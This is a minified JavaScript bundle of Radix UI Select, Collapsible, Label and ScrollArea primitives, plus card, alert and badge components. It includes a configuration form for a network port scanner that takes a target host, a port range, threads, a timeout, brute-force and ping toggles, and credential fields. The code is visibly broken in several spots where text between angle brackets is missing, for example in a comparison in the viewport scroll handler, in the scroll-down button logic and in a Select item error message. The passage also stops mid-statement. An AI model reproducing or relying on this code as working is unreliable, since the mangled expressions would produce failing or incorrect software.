U=y(),V=window.innerHeight-yr*2,oe=w.scrollHeight,le=window.getComputedStyle(h),ce=parseInt(le.borderTopWidth,10),L=parseInt(le.paddingTop,10),F=parseInt(le.borderBottomWidth,10),$=parseInt(le.paddingBottom,10),Z=ce+L+oe+$+F,de=Math.min(O.offsetHeight*5,Z),D=window.getComputedStyle(w),X=parseInt(D.paddingTop,10),ae=parseInt(D.paddingBottom,10),se=R.top+R.height/2-yr,me=V-se,xe=O.offsetHeight/2,ee=O.offsetTop+xe,_e=ce+L+ee,Q=Z-_e;if(_e<=se){const he=U.length>0&&O===U[U.length-1].ref.current;u.style.bottom="0px";const ne=h.clientHeight-w.offsetTop-w.offsetHeight,Ke=Math.max(me,xe+(he?ae:0)+ne+F),je=_e+Ke;u.style.height=je+"px"}else{const he=U.length>0&&O===U[0].ref.current;u.style.top="0px";const Ke=Math.max(se,ce+w.offsetTop+(he?X:0)+xe)+Q;u.style.height=Ke+"px",w.scrollTop=_e-se+w.offsetTop}u.style.margin=`${yr}px 0`,u.style.minHeight=de+"px",u.style.maxHeight=V+"px",r?.(),requestAnimationFrame(()=>x.current=!0)}},[y,l.trigger,l.valueNode,u,h,w,O,A,l.dir,r]);Ft(()=>T(),[T]);const[j,M]=v.useState();Ft(()=>{h&&M(window.getComputedStyle(h).zIndex)},[h]);const P=v.useCallback(R=>{R&&S.current===!0&&(T(),_?.(),S.current=!1)},[T,_]);return E.jsx(x7,{scope:n,contentWrapper:u,shouldExpandOnScrollRef:x,onScrollButtonChange:P,children:E.jsx("div",{ref:f,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:j},children:E.jsx(Ce.div,{...i,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...i.style}})})})});Wj.displayName=y7;var b7="SelectPopperPosition",b0=v.forwardRef((e,t)=>{const{__scopeSelect:n,align:r="start",collisionPadding:i=yr,...l}=e,c=Uh(n);return E.jsx(Bb,{...c,...l,ref:t,align:r,collisionPadding:i,style:{boxSizing:"border-box",...l.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});b0.displayName=b7;var[x7,Wb]=Yl(so,{}),x0="SelectViewport",Xj=v.forwardRef((e,t)=>{const{__scopeSelect:n,nonce:r,...i}=e,l=_i(x0,n),c=Wb(x0,n),u=De(t,l.onViewportChange),f=v.useRef(0);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),E.jsx($h.Slot,{scope:n,children:E.jsx(Ce.div,{"data-radix-select-viewport":"",role:"presentation",...i,ref:u,style:{position:"relative",flex:1,overflow:"hidden auto",...i.style},onScroll:ue(i.onScroll,h=>{const p=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:y}=c;if(y?.current&&m){const x=Math.abs(f.current-p.scrollTop);if(x>0){const S=window.innerHeight-yr*2,w=parseFloat(m.style.minHeight),O=parseFloat(m.style.height),A=Math.max(w,O);if(A0?j:0,m.style.justifyContent="flex-end")}}}f.current=p.scrollTop})})})]})});Xj.displayName=x0;var Zj="SelectGroup",[w7,S7]=Yl(Zj),O7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=sr();return E.jsx(w7,{scope:n,id:i,children:E.jsx(Ce.div,{role:"group","aria-labelledby":i,...r,ref:t})})});O7.displayName=Zj;var Qj="SelectLabel",Jj=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=S7(Qj,n);return E.jsx(Ce.div,{id:i.id,...r,ref:t})});Jj.displayName=Qj;var _d="SelectItem",[E7,eP]=Yl(_d),tP=v.forwardRef((e,t)=>{const{__scopeSelect:n,value:r,disabled:i=!1,textValue:l,...c}=e,u=Ci(_d,n),f=_i(_d,n),h=u.value===r,[p,m]=v.useState(l??""),[y,x]=v.useState(!1),S=De(t,_=>f.itemRefCallback?.(_,r,i)),w=sr(),O=v.useRef("touch"),A=()=>{i||(u.onValueChange(r),u.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return E.jsx(E7,{scope:n,value:r,disabled:i,textId:w,isSelected:h,onItemTextChange:v.useCallback(_=>{m(T=>T||(_?.textContent??"").trim())},[]),children:E.jsx($h.ItemSlot,{scope:n,value:r,disabled:i,textValue:p,children:E.jsx(Ce.div,{role:"option","aria-labelledby":w,"data-highlighted":y?"":void 0,"aria-selected":h&&y,"data-state":h?"checked":"unchecked","aria-disabled":i||void 0,"data-disabled":i?"":void 0,tabIndex:i?void 0:-1,...c,ref:S,onFocus:ue(c.onFocus,()=>x(!0)),onBlur:ue(c.onBlur,()=>x(!1)),onClick:ue(c.onClick,()=>{O.current!=="mouse"&&A()}),onPointerUp:ue(c.onPointerUp,()=>{O.current==="mouse"&&A()}),onPointerDown:ue(c.onPointerDown,_=>{O.current=_.pointerType}),onPointerMove:ue(c.onPointerMove,_=>{O.current=_.pointerType,i?f.onItemLeave?.():O.current==="mouse"&&_.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ue(c.onPointerLeave,_=>{_.currentTarget===document.activeElement&&f.onItemLeave?.()}),onKeyDown:ue(c.onKeyDown,_=>{f.searchRef?.current!==""&&_.key===" "||(c7.includes(_.key)&&A(),_.key===" "&&_.preventDefault())})})})})});tP.displayName=_d;var hc="SelectItemText",nP=v.forwardRef((e,t)=>{const{__scopeSelect:n,className:r,style:i,...l}=e,c=Ci(hc,n),u=_i(hc,n),f=eP(hc,n),h=h7(hc,n),[p,m]=v.useState(null),y=De(t,A=>m(A),f.onItemTextChange,A=>u.itemTextRefCallback?.(A,f.value,f.disabled)),x=p?.textContent,S=v.useMemo(()=>E.jsx("option",{value:f.value,disabled:f.disabled,children:x},f.value),[f.disabled,f.value,x]),{onNativeOptionAdd:w,onNativeOptionRemove:O}=h;return Ft(()=>(w(S),()=>O(S)),[w,O,S]),E.jsxs(E.Fragment,{children:[E.jsx(Ce.span,{id:f.textId,...l,ref:y}),f.isSelected&&c.valueNode&&!c.valueNodeHasChildren?So.createPortal(l.children,c.valueNode):null]})});nP.displayName=hc;var rP="SelectItemIndicator",aP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return eP(rP,n).isSelected?E.jsx(Ce.span,{"aria-hidden":!0,...r,ref:t}):null});aP.displayName=rP;var w0="SelectScrollUpButton",iP=v.forwardRef((e,t)=>{const n=_i(w0,e.__scopeSelect),r=Wb(w0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollTop>0;l(h)};const f=n.viewport;return u(),f.addEventListener("scroll",u),()=>f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop-f.offsetHeight)}}):null});iP.displayName=w0;var S0="SelectScrollDownButton",oP=v.forwardRef((e,t)=>{const n=_i(S0,e.__scopeSelect),r=Wb(S0,e.__scopeSelect),[i,l]=v.useState(!1),c=De(t,r.onScrollButtonChange);return Ft(()=>{if(n.viewport&&n.isPositioned){let u=function(){const h=f.scrollHeight-f.clientHeight,p=Math.ceil(f.scrollTop)f.removeEventListener("scroll",u)}},[n.viewport,n.isPositioned]),i?E.jsx(lP,{...e,ref:c,onAutoScroll:()=>{const{viewport:u,selectedItem:f}=n;u&&f&&(u.scrollTop=u.scrollTop+f.offsetHeight)}}):null});oP.displayName=S0;var lP=v.forwardRef((e,t)=>{const{__scopeSelect:n,onAutoScroll:r,...i}=e,l=_i("SelectScrollButton",n),c=v.useRef(null),u=Bh(n),f=v.useCallback(()=>{c.current!==null&&(window.clearInterval(c.current),c.current=null)},[]);return v.useEffect(()=>()=>f(),[f]),Ft(()=>{u().find(p=>p.ref.current===document.activeElement)?.ref.current?.scrollIntoView({block:"nearest"})},[u]),E.jsx(Ce.div,{"aria-hidden":!0,...i,ref:t,style:{flexShrink:0,...i.style},onPointerDown:ue(i.onPointerDown,()=>{c.current===null&&(c.current=window.setInterval(r,50))}),onPointerMove:ue(i.onPointerMove,()=>{l.onItemLeave?.(),c.current===null&&(c.current=window.setInterval(r,50))}),onPointerLeave:ue(i.onPointerLeave,()=>{f()})})}),A7="SelectSeparator",sP=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e;return E.jsx(Ce.div,{"aria-hidden":!0,...r,ref:t})});sP.displayName=A7;var O0="SelectArrow",C7=v.forwardRef((e,t)=>{const{__scopeSelect:n,...r}=e,i=Uh(n),l=Ci(O0,n),c=_i(O0,n);return l.open&&c.position==="popper"?E.jsx(Ub,{...i,...r,ref:t}):null});C7.displayName=O0;var _7="SelectBubbleInput",cP=v.forwardRef(({__scopeSelect:e,value:t,...n},r)=>{const i=v.useRef(null),l=De(r,i),c=Oj(t);return v.useEffect(()=>{const u=i.current;if(!u)return;const f=window.HTMLSelectElement.prototype,p=Object.getOwnPropertyDescriptor(f,"value").set;if(c!==t&&p){const m=new Event("change",{bubbles:!0});p.call(u,t),u.dispatchEvent(m)}},[c,t]),E.jsx(Ce.select,{...n,style:{...XM,...n.style},ref:l,defaultValue:t})});cP.displayName=_7;function uP(e){return e===""||e===void 0}function fP(e){const t=en(e),n=v.useRef(""),r=v.useRef(0),i=v.useCallback(c=>{const u=n.current+c;t(u),(function f(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>f(""),1e3))})(u)},[t]),l=v.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,i,l]}function dP(e,t,n){const i=t.length>1&&Array.from(t).every(h=>h===t[0])?t[0]:t,l=n?e.indexOf(n):-1;let c=T7(e,Math.max(l,0));i.length===1&&(c=c.filter(h=>h!==n));const f=c.find(h=>h.textValue.toLowerCase().startsWith(i.toLowerCase()));return f!==n?f:void 0}function T7(e,t){return e.map((n,r)=>e[(t+r)%e.length])}var N7=$j,hP=Uj,M7=qj,j7=Fj,P7=Vj,pP=Kj,R7=Xj,mP=Jj,vP=tP,D7=nP,k7=aP,gP=iP,yP=oP,bP=sP;const L7=N7,I7=M7,xP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(hP,{ref:r,className:Ee("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm ring-offset-background placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",e),...n,children:[t,E.jsx(j7,{asChild:!0,children:E.jsx(Ch,{className:"h-4 w-4 opacity-50"})})]}));xP.displayName=hP.displayName;const wP=v.forwardRef(({className:e,...t},n)=>E.jsx(gP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(R6,{className:"h-4 w-4"})}));wP.displayName=gP.displayName;const SP=v.forwardRef(({className:e,...t},n)=>E.jsx(yP,{ref:n,className:Ee("flex cursor-default items-center justify-center py-1",e),...t,children:E.jsx(Ch,{className:"h-4 w-4"})}));SP.displayName=yP.displayName;const OP=v.forwardRef(({className:e,children:t,position:n="popper",...r},i)=>E.jsx(P7,{children:E.jsxs(pP,{ref:i,className:Ee("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",n==="popper"&&"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1",e),position:n,...r,children:[E.jsx(wP,{}),E.jsx(R7,{className:Ee("p-1",n==="popper"&&"max-h-[--radix-select-content-available-height] w-full min-w-[var(--radix-select-trigger-width)]"),children:t}),E.jsx(SP,{})]})}));OP.displayName=pP.displayName;const z7=v.forwardRef(({className:e,...t},n)=>E.jsx(mP,{ref:n,className:Ee("py-1.5 pl-8 pr-2 text-sm font-semibold",e),...t}));z7.displayName=mP.displayName;const EP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(vP,{ref:r,className:Ee("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(k7,{children:E.jsx(gM,{className:"h-4 w-4"})})}),E.jsx(D7,{children:t})]}));EP.displayName=vP.displayName;const $7=v.forwardRef(({className:e,...t},n)=>E.jsx(bP,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));$7.displayName=bP.displayName;var Hh="Collapsible",[B7]=Fn(Hh),[U7,Xb]=B7(Hh),AP=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,open:r,defaultOpen:i,disabled:l,onOpenChange:c,...u}=e,[f,h]=Oa({prop:r,defaultProp:i??!1,onChange:c,caller:Hh});return E.jsx(U7,{scope:n,disabled:l,contentId:sr(),open:f,onOpenToggle:v.useCallback(()=>h(p=>!p),[h]),children:E.jsx(Ce.div,{"data-state":Qb(f),"data-disabled":l?"":void 0,...u,ref:t})})});AP.displayName=Hh;var CP="CollapsibleTrigger",_P=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,...r}=e,i=Xb(CP,n);return E.jsx(Ce.button,{type:"button","aria-controls":i.contentId,"aria-expanded":i.open||!1,"data-state":Qb(i.open),"data-disabled":i.disabled?"":void 0,disabled:i.disabled,...r,ref:t,onClick:ue(e.onClick,i.onOpenToggle)})});_P.displayName=CP;var Zb="CollapsibleContent",TP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=Xb(Zb,e.__scopeCollapsible);return E.jsx(ln,{present:n||i.open,children:({present:l})=>E.jsx(H7,{...r,ref:t,present:l})})});TP.displayName=Zb;var H7=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,present:r,children:i,...l}=e,c=Xb(Zb,n),[u,f]=v.useState(r),h=v.useRef(null),p=De(t,h),m=v.useRef(0),y=m.current,x=v.useRef(0),S=x.current,w=c.open||u,O=v.useRef(w),A=v.useRef(void 0);return v.useEffect(()=>{const _=requestAnimationFrame(()=>O.current=!1);return()=>cancelAnimationFrame(_)},[]),Ft(()=>{const _=h.current;if(_){A.current=A.current||{transitionDuration:_.style.transitionDuration,animationName:_.style.animationName},_.style.transitionDuration="0s",_.style.animationName="none";const T=_.getBoundingClientRect();m.current=T.height,x.current=T.width,O.current||(_.style.transitionDuration=A.current.transitionDuration,_.style.animationName=A.current.animationName),f(r)}},[c.open,r]),E.jsx(Ce.div,{"data-state":Qb(c.open),"data-disabled":c.disabled?"":void 0,id:c.contentId,hidden:!w,...l,ref:p,style:{"--radix-collapsible-content-height":y?`${y}px`:void 0,"--radix-collapsible-content-width":S?`${S}px`:void 0,...e.style},children:w&&i})});function Qb(e){return e?"open":"closed"}var q7=AP;const F7=q7,V7=_P,K7=TP;var Y7=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],G7=Y7.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),W7="Label",NP=v.forwardRef((e,t)=>E.jsx(G7.label,{...e,ref:t,onMouseDown:n=>{n.target.closest("button, input, select, textarea")||(e.onMouseDown?.(n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));NP.displayName=W7;var MP=NP;const X7=Dh("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),On=v.forwardRef(({className:e,...t},n)=>E.jsx(MP,{ref:n,className:Ee(X7(),e),...t}));On.displayName=MP.displayName;const Gl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));Gl.displayName="Card";const Wl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex flex-col space-y-1.5 p-6",e),...t}));Wl.displayName="CardHeader";const Xl=v.forwardRef(({className:e,...t},n)=>E.jsx("h3",{ref:n,className:Ee("text-2xl font-semibold leading-none tracking-tight",e),...t}));Xl.displayName="CardTitle";const Z7=v.forwardRef(({className:e,...t},n)=>E.jsx("p",{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));Z7.displayName="CardDescription";const Zl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("p-6 pt-0",e),...t}));Zl.displayName="CardContent";const Q7=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex items-center p-6 pt-0",e),...t}));Q7.displayName="CardFooter";const J7=Dh("relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",success:"border-success/50 text-success dark:border-success [&>svg]:text-success",warning:"border-warning/50 text-warning dark:border-warning [&>svg]:text-warning"}},defaultVariants:{variant:"default"}}),jP=v.forwardRef(({className:e,variant:t,...n},r)=>E.jsx("div",{ref:r,role:"alert",className:Ee(J7({variant:t}),e),...n}));jP.displayName="Alert";const eq=v.forwardRef(({className:e,...t},n)=>E.jsx("h5",{ref:n,className:Ee("mb-1 font-medium leading-none tracking-tight",e),...t}));eq.displayName="AlertTitle";const PP=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("text-sm [&_p]:leading-relaxed",e),...t}));PP.displayName="AlertDescription";function tq({formData:e,onFormChange:t,presets:n,isRunning:r,isStopping:i,loading:l,error:c,onStart:u,onStop:f}){const{t:h,i18n:p}=wo(),[m,y]=v.useState(!1),x=(O,A)=>{t({...e,[O]:A})},S=O=>{const A=n.find(_=>_.id===O);A&&t({...e,ports:A.ports,scan_mode:A.scan_mode,thread_num:A.thread_num,timeout:A.timeout})},w=r;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(BA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),h("scanTitle")]}),r?E.jsxs(or,{size:"sm",variant:"destructive",onClick:f,disabled:l||i,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(AB,{className:"w-4 h-4"}),h("scanStopBtn")]}):E.jsxs(or,{size:"sm",onClick:u,disabled:l||!e.host,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(pB,{className:"w-4 h-4"}),h("scanStartBtn")]})]}),E.jsxs(Zl,{className:"space-y-4",children:[c&&E.jsxs(jP,{variant:"destructive",children:[E.jsx(xM,{className:"h-4 w-4"}),E.jsx(PP,{children:c})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(BA,{className:"w-3.5 h-3.5"}),h("scanTarget")]}),E.jsx(Rr,{placeholder:h("scanTargetPlaceholder"),value:e.host,onChange:O=>x("host",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(nB,{className:"w-3.5 h-3.5"}),h("scanPorts")]}),E.jsx(Rr,{placeholder:"1-65535",value:e.ports,onChange:O=>x("ports",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($B,{className:"w-3.5 h-3.5"}),h("scanPreset")]}),E.jsxs(L7,{onValueChange:S,disabled:w,children:[E.jsx(xP,{children:E.jsx(I7,{placeholder:h("scanPresetSelect")})}),E.jsx(OP,{children:n.map(O=>E.jsx(EP,{value:O.id,children:p.language==="zh"?O.name:O.name_en},O.id))})]})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(xd,{className:"w-3.5 h-3.5"}),h("scanThreads")]}),E.jsx(Rr,{type:"number",value:e.thread_num,onChange:O=>x("thread_num",parseInt(O.target.value)||600),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(wM,{className:"w-3.5 h-3.5"}),h("scanTimeout")]}),E.jsx(Rr,{type:"number",value:e.timeout,onChange:O=>x("timeout",parseInt(O.target.value)||3),disabled:w,className:"field-input-mono"})]})]}),E.jsxs(F7,{open:m,onOpenChange:y,children:[E.jsx(V7,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",disabled:w,className:"flex items-center gap-1.5 text-sm text-muted-foreground hover:text-foreground p-0 h-auto font-normal",children:[E.jsx(wB,{className:"w-4 h-4"}),E.jsx(Ch,{className:`w-4 h-4 transition-transform ${m?"rotate-180":""}`}),h("scanAdvanced")]})}),E.jsx(K7,{className:"mt-3",children:E.jsxs("div",{className:"space-y-3 p-3 sm:p-4 rounded-lg bg-muted/50 border",children:[E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2 sm:gap-3",children:[E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(EM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisablePing")]}),E.jsx(cd,{checked:e.disable_ping,onCheckedChange:O=>x("disable_ping",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx($A,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisableBrute")]}),E.jsx(cd,{checked:e.disable_brute,onCheckedChange:O=>x("disable_brute",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(yM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanAliveOnly")]}),E.jsx(cd,{checked:e.alive_only,onCheckedChange:O=>x("alive_only",O),disabled:w})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(DB,{className:"w-3.5 h-3.5"}),h("scanUsername")]}),E.jsx(Rr,{value:e.username,onChange:O=>x("username",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($A,{className:"w-3.5 h-3.5"}),h("scanPassword")]}),E.jsx(Rr,{type:"password",value:e.password,onChange:O=>x("password",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(F6,{className:"w-3.5 h-3.5"}),h("scanDomain")]}),E.jsx(Rr,{value:e.domain,onChange:O=>x("domain",O.target.value),disabled:w,className:"field-input"})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludeHosts")]}),E.jsx(Rr,{value:e.exclude_hosts,onChange:O=>x("exclude_hosts",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludePorts")]}),E.jsx(Rr,{value:e.exclude_ports,onChange:O=>x("exclude_ports",O.target.value),disabled:w,className:"field-input-mono"})]})]})]})})]})]})]})}const nq=Dh("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80",outline:"text-foreground",host:"border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400",port:"border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400",service:"border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400",vuln:"border-transparent bg-destructive/10 text-destructive"}},defaultVariants:{variant:"default"}});function ga({className:e,variant:t,...n}){return E.jsx("div",{className:Ee(nq({variant:t}),e),...n})}function rq(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var Jb="ScrollArea",[RP]=Fn(Jb),[aq,hr]=RP(Jb),DP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,type:r="hover",dir:i,scrollHideDelay:l=600,...c}=e,[u,f]=v.useState(null),[h,p]=v.useState(null),[m,y]=v.useState(null),[x,S]=v.useState(null),[w,O]=v.useState(null),[A,_]=v.useState(0),[T,j]=v.useState(0),[M,P]=v.useState(!1),[R,I]=v.useState(!1),B=De(t,U=>f(U)),q=Kc(i);return E.jsx(aq,{scope:n,type:r,dir:q,scrollHideDelay:l,scrollArea:u,viewport:h,onViewportChange:p,content:m,onContentChange:y,scrollbarX:x,onScrollbarXChange:S,scrollbarXEnabled:M,onScrollbarXEnabledChange:P,scrollbarY:w,onScrollbarYChange:O,scrollbarYEnabled:R,onScrollbarYEnabledChange:I,onCornerWidthChange:_,onCornerHeightChange:j,children:E.jsx(Ce.div,{dir:q,...c,ref:B,style:{position:"relative","--radix-scroll-area-corner-width":A+"px","--radix-scroll-area-corner-height":T+"px",...e.style}})})});DP.displayName=Jb;var kP="ScrollAreaViewport",LP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,children:r,nonce:i,...l}=e,c=hr(kP,n),u=v.useRef(null),f=De(t,u,c.onViewportChange);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"},nonce:i}),E.jsx(Ce.div,{"data-radix-scroll-area-viewport":"",...l,ref:f,style:{overflowX:c.scrollbarXEnabled?"scroll":"hidden",overflowY:c.scrollbarYEnabled?"scroll":"hidden",...e.style},children:E.jsx("div",{ref:c.onContentChange,style:{minWidth:"100%",display:"table"},children:r})})]})});LP.displayName=kP;var Yr="ScrollAreaScrollbar",ex=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),{onScrollbarXEnabledChange:l,onScrollbarYEnabledChange:c}=i,u=e.orientation==="horizontal";return v.useEffect(()=>(u?l(!0):c(!0),()=>{u?l(!1):c(!1)}),[u,l,c]),i.type==="hover"?E.jsx(iq,{...r,ref:t,forceMount:n}):i.type==="scroll"?E.jsx(oq,{...r,ref:t,forceMount:n}):i.type==="auto"?E.jsx(IP,{...r,ref:t,forceMount:n}):i.type==="always"?E.jsx(tx,{...r,ref:t}):null});ex.displayName=Yr;var iq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),[l,c]=v.useState(!1);return v.useEffect(()=>{const u=i.scrollArea;let f=0;if(u){const h=()=>{window.clearTimeout(f),c(!0)},p=()=>{f=window.setTimeout(()=>c(!1),i.scrollHideDelay)};return u.addEventListener("pointerenter",h),u.addEventListener("pointerleave",p),()=>{window.clearTimeout(f),u.removeEventListener("pointerenter",h),u.removeEventListener("pointerleave",p)}}},[i.scrollArea,i.scrollHideDelay]),E.jsx(ln,{present:n||l,children:E.jsx(IP,{"data-state":l?"visible":"hidden",...r,ref:t})})}),oq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),l=e.orientation==="horizontal",c=Fh(()=>f("SCROLL_END"),100),[u,f]=rq("hidden",{hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}});return v.useEffect(()=>{if(u==="idle"){const 